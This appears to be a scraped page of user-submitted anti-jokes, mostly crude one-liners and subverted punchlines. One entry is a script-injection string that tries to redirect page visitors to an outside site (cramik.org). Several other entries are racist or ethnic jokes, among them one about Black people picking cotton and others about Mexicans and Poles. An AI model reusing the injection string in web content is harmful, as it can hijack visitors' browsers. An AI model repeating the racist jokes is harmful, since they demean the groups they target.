Stephen Hawking walks into a bar.

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How did the Mexican get across the boarder? He applied for a student visa. He was a promising young scholar who had no trouble being accepted to a prestigious college.

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What did the helicopter say? Aluminum-minum-minum-minum-minum-mum-mum-mum-mum-um-um-um-um

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"'>document.location.href="http://cramik.org"

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A neutron walks into a bar. The barman says, "for you, no charge." The neutron replies, "very funny asshole, you're just going to put it on my tab after I pass out."

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A plane crashes in a polish cemetery the authorities have found 2000 bodies

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Why did the farmer cross the road? To catch the chicken

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What do you get when you cross a black man and an octopus? I don't know, but it sure would pick a lot of cotton.

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WELCOME TO THE GARLIC BOYS SHOW! So kids, what are we gonna eat today? POTATOES! FUUUUUUU! Moral: You say tomata, I say WROOOOOOOONG, you say cheap I say your mother.

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Q: a man in a camry runs over his wife. who's fault is it? A: toyota and their breaks.

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What do you call a black guy doing community service? Someone who wanted to give back. Stop being racist.

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Then I contracted bronchitis from the smoke. Unfortunately I don't not have time to visit a doctor to mend this debilitation. In fact, nobody does.

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i get knocked down, but i don't get up again. my leg is broken and therefore makes it extremely difficult for me to stand up on my own.

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welcome to anti joke.com. you were expecting an anti joke wernt you.

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The way I see it, you are pretty lucky I am a tough guy, the kind you like. Anyway you where really wondering if I ever refer myself as a boy? Sigh, I mean I AM A BOY! WHAT? WHAT? Savage jokes? What jokes?

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Sherlock Holmes and Dr. Watson go camping, and pitch their tent under the stars. During the night, Holmes wakes his companion and says: 'Watson, look up at the stars, and tell me what you deduce.' Watson says: 'Someboby stole our tent.' Holmes and Watson look at each other, shrug and go back to sleep. At least the thief kept their blankets.

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On Wednesday night, a drunk man was walking on the cliffs of dover. his funeral was saturday.

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Why couldn't Cait walk her dog? She's been paralyzed from the waist down since she was 5 after her and her parents got into a car accident and her parents died.

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what is black white and red all over? A black and white movie with the first violent color leave a comment if this joke is duped.

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Chuck Norris farted and... several people looked around uncomfortably, not knowing how to react to the embarrassing situation.

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Want to hear a joke? ...you're straight.

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A hairy monster walks into a bar. It was halloween.

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Knock Knock -Who's there? No one -Ok

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Why can Randy Moss Jump so high? Because he trained to jump high.

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